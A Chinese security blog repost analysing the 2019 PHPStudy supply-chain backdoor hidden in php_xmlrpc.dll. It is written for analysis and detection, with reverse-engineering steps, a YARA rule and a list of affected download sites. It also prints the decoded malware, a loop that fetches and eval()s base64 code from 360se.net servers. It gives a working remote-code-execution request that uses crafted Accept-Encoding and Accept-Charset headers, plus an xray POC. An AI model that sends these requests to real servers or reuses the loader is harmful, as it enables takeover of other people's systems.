PHPStudy后门事件分析

最新推荐文章于 2024-07-31 10:58:10 发布
最新推荐文章于 2024-07-31 10:58:10 发布
阅读量649 收藏
点赞数
文章标签： php 网络 xhtml
原文链接：http://www.cnblogs.com/17bdw/p/11580409.html
版权

PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击，程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外，还可以正向执行任意php代码。

影响版本

  • Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
  • Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

分析过程

  • 1、定位特征字符串位置
  • 2、静态分析传参数据
  • 3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

定位特征字符串位置

根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码，中间%s格式符为字符串传参。函数地址为：0x100031F0

549050-20190924192316109-1525425238.png

图1：eval特征代码

静态分析传参数据

通过F5查看代码，分析代码流程，判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

第一部分，正向连接：判断ACCEPT_ENCODING如果等于gzip,deflate，读取ACCEPT_CHARSE的内容做base64解密，交给zend_eval_strings()函数可以执行任意恶意代码。

构造HTTP头，把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….

第二部分，反向连接：判断ACCEPT_ENCODING如果等于compress,gzip，通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码，然后调用gzuncompress方法执行解密。

构造HTTP头，把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….

549050-20190924192417883-1734170758.png

图2：第1部分流程判断代码

549050-20190924192429008-373809150.png

图3：第2部分流程判断代码

这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密：

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle); 
  return $result; 
}
 
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

549050-20190925144810465-515793440.png

从1000D028 到1000D66C的代码解密：

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";
 
    fwrite($fp, $out);
    fclose($fp);
}

549050-20190925144840063-477960897.png

动态调试构造传参内容

OD动态调试传参值需要对httpd.exe进程进行附加调试，phpstudy启用的httpd进程有两个。一个是带有参数的，一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

根据前面IDA静态分析得到的后门函数地址，OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块，在DLL空间里定位后门函数地址0x100031F0，可能还需要手动修改偏移后下断点。使用burpsuite，构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

549050-20190924192456514-1148752014.png

图4：OD动态调试Payload

PHP脚本后门分析

脚本一功能：使用fsockopen模拟GET发包

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";
 
    fwrite($fp, $out);
    fclose($fp);
}

脚本二功能：
内置有域名表和端口表，批量遍历然后发送数据。注释如下：

<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
    $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据，每次过来一条数据就要连接一次
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试。
        if( !$handle ){
            return "err";
        }
    }
    fwrite($handle, $sendMsg."\n");         // 模拟发送数据
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);   // 读取文件
        $info = stream_get_meta_data($handle);     // 超时则退出
        if ($info['timed_out']) {
            break;
        }
    }
    fclose($handle);
    return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
$ps = array("20123","40125","8080","80","53");             // 端口表
$n = false;
do {
    $n = false;
    foreach ($ds as $d){                                   //遍历域名表
        $b = false;
        foreach ($ps as $p){                               // 遍历端口表
            $result = tcpGet($i,$d.".360se.net",$p);
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

?>

POC

熟悉原理后可根据执行流程构造执行任意代码的Payload：

GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Payload：printf(md5(333));
回显特征：310dcbbf4cce62f762a2aaa148d556bd

549050-20190924192526752-848832185.png

图5：Payload回显验证

漏洞验证插件

漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc，我还是觉得使用长亭的插件写poc，省了好多心力去考虑写各种代码，把主要精力专注到漏洞分析和写poc上。

name: poc-yaml-phpstudy-backdoor-rce
rules:
  - method: GET
    path: /index.php
    headers:
      Accept-Encoding: 'gzip,deflate'
      Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
    follow_redirects: false
    expression: |
      body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
  author: 17bdw
  Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
  vuln_url: "php_xmlrpc.dll"
  links:
    - https://www.freebuf.com/column/214946.html
网络特征
Accept-Encoding:gzip,deflate    少一个空格
Accept-Charset:为Base64编码
文件特征
特征一、
%s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B


rule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}

受影响站点

http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm 
http://www.opdown.com/soft/16803.html#download 
https://www.cr173.com/soft/433065.html

参考

  • PhpStudyGhost后门供应链攻击事件及相关IOC
    https://www.freebuf.com/column/214946.html
  • 2019关于phpstudy软件后门简单分析
    https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
  • phpstudy后门文件分析以及检测脚本
    https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
  • Phpstudy官网于2016年被入侵，犯罪分子篡改软件并植入后门
    https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw
  • phpStudy隐藏后门预警
    https://www.cnblogs.com/0daybug/p/11571119.html

转载于:https://www.cnblogs.com/17bdw/p/11580409.html

weixin_30872337
关注
phpstudy后门rce批量利用脚本的实现
10-15
主要介绍了phpstudy后门rce批量利用脚本的实现，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
php study 后门,phpStudy后门简要分析
weixin_31727937的博客
03-10 212
问题概要有问题的版本如下phpStudy20180211版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dllphpStudy20161103版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll注：这两个官网下载的版本里，都没有发现php5.3版本下存在有问题的php_xmlrpc.dll，打开时会提示存在pdb路径...
phpstudy后门事件
BUG制造者:图图 <p>这是一个P标签</p>
09-30 2413
西湖警方破获一起以马某为首的非法控制计算机信息系统、诈骗案，抓获团伙成员7人，缴获了大量涉案物品，该团伙非法控制计算机67万余台，非法获取账号密码类、聊天数据类、设备码类等数据10万余组，非法牟利600余万元；桐庐警方一举捣毁多起团伙开设赌场案，成功捣毁8个犯罪团伙，抓获犯罪嫌疑人50余名，采取刑事强制措施40余名，查扣涉案电脑、手机80余台，银行卡60余张、账本10余本，涉案抽头获利资金400余...
PhpStudy后门供应链攻击事件
qq_33295410的博客
09-23 3539
事件背景 PhpStudy软件是国内的一款免费的PHP调试环境的程序集成包，通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装，无需配置即可直接安装使用，具有PHP环境调试和PHP开发功能，在国内有着近百万PHP语言学习者、开发者用户。 近日，杭州公安报道了一起重大安全事件，杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战...
php批量发包,phpstudy后门rce批量利用脚本的实现
weixin_39826089的博客
04-01 293
写两个一个批量检测的 一个交互式shell的暂时py 图形化的qt写出来..有点问题后门包 :GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/xhtm...
PhpStudy 后门分析
晓得哥的博客
09-29 1285
作者：Hcamael@知道创宇404实验室 时间：2019年9月26日 原文链接：https://paper.seebug.org/1044/ 背景介绍 2019/09/20，一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈，其中通报了警方发现PhpStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗还挺多的，曾经我还是Web狗的时候也用过几...
PhpStudy后门供应链攻击文档
09-23
此次PhpStudy后门供应链攻击事件提醒我们，即使是常用的开发工具也可能成为攻击的入口。对于开发者和运维人员来说，及时更新软件、加强安全意识、定期进行安全检查以及使用安全的开发环境是防范此类威胁的重要措施。...
PhpStudy后门漏洞实战复现
la-大白
10-28 4934
phpstudy后门漏洞
PHPStudy-BackDoor-EXP PHPstudy后门利用脚本 .zip
01-22
压缩包内的文件名“PHPStudy_BackDoor_EXP PHPstudy后门利用脚本 (2).zip”表明这可能是一个关于如何检测、分析或利用PHPStudy后门的工具或教程。这可能包括脚本代码，用于模拟攻击，以便测试系统的防护措施，或者是...
phpstudy后门简单分析
fa1lr4in的小博客
09-25 1758
感谢pcat师傅的文章：https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw 20号得知phphstudy有后门，不知道官网的是不是也被入侵了，当时没有进行查看，，，由于当时正在秋招面试比较忙，鸽了几天有了下文： 被中马的为php_xmlrpc.dll这个dll文件，这个可以通过查找泄露字符串很容易通过脚本实现，就不贴了，可以以eval为关键...
php_backdoor.php
06-11
大马文件
PHP常见后门修复,phpStudy后门RCE，复现/批量脚本/修复
weixin_33416318的博客
03-10 650
phpStudy后门介绍phpStudy是国内一款免费的PHP环境集成包，集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer等多款软件，无需配置即可直接安装使用，有着近百万PHP用户。近日被爆出phpStudy存在RCE后门，并通过验证复现。软件作者声明：phpstudy 2016版PHP5.4存在后门。实际测试官网下载phpstudy2018版php-5.2....
Phpstudy官网于2016年被入侵，犯罪分子篡改软件并植入后门
blackorbird的博客
09-20 986
今日发现杭州公安发布了关于”在为其行动战果点赞的同时，其中提到的一起案件，让我毛骨悚然，因为我的服务器就是在2016年之后使用的Phpstudy..而且一直没动过。这也就...
phpstudy_2016-2018_rce_backdoor后门漏洞复现
qq_58683895的博客
10-16 403
攻击者可以利用该漏洞执行PHP 命令，也可以称作phpStudy 后门。
php批量发包,phpstudy后门rce批量利用脚本
weixin_42557656的博客
04-01 188
写两个一个批量检测的 一个交互式shell的暂时py 图形化的qt写出来..有点问题后门包 :GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/x...
phpstudy_2016-2018_rce_backdoor漏洞复现
最新发布
weixin_46365325的博客
07-31 668
PHP study 软件是国内的一款免费的 PHP 调试环境的程序集成包，通过集成 Apache、PHP、Mysql、PhpMyAdmin 等多款软件一次性安装，无需配置即可直接安装使用，一键搭建。攻击者可以利用该漏洞执行 PHP 命令，也可以称作 phpstudy 后门。模块中，至少有2个版本：phpStudy2016 和 phpstudy 2018自带的php-5.2.17、php-5.4.45。使用bp编码后进行上传，在网页查看是否上传成功，使用蚁剑进行连接。更改 bp 字体为楷体24pt。
PhpStudy2016-2018-RCE 漏洞复现
败在我手中之敌，从来不会被我视为对手，我给你时间追赶，直至你遥望不见。
07-14 1435
Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包，通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装，无需配置即可直接安装使用，一键搭建。这是常用来写webshell的一句话，请注意使用这样的代码是非常危险的，因为它允许任意的命令执行和操纵服务器文件系统。需要注意的是，该漏洞只影响使用了特定版本的PHPStudy软件的系统，具体来说是2018年1月至2019年5月发布的版本。通过利用该漏洞，攻击者可以执行任意的PHP代码，从而完全控制受影响的系统。
PHP的Git服务器被黑客入侵，源代码被插入后门代码
blackorbird的博客
03-29 611
2021年3月28日，有身份不明人士入侵了PHP编程语言的官方Git服务器http://git.php.net，并上传了未经授权的更新包，而包中源代码被插入了秘密后门代码。这两个恶意提交被...
phpstudy2016 RCE漏洞验证
m0_56578216的博客
09-21 534
PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指软件中存在的一个远程代码执行漏洞。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值